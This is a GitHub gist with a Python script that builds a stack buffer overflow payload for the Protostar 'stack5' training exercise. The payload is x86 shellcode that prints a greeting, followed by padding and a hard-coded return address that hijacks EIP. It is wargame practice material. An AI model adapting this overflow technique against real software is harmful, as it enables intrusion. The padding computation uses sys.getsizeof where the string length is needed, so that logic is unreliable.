Created
June 3, 2018 18:38
-
-
Save TheRealJunior/de10309ea4fc50265f80222a6472298c to your computer and use it in GitHub Desktop.
protostar stack5 python script for payload input
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import sys | |
shellcode = "\xe9\x1e\x00\x00\x00\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\x59\xba\x0f\x00\x00\x00\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xdd\xff\xff\xffHello wolrd!\r\n" | |
with open('/tmp/stack5', 'w') as f: | |
times = 76 - sys.getsizeof(shellcode) # to fil the rest of the space | |
f.write(shellcode); | |
f.write('a' * times) | |
f.write('\xe0\xfc\xff\xbf') # write the pointer to the start of the address as EIP |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment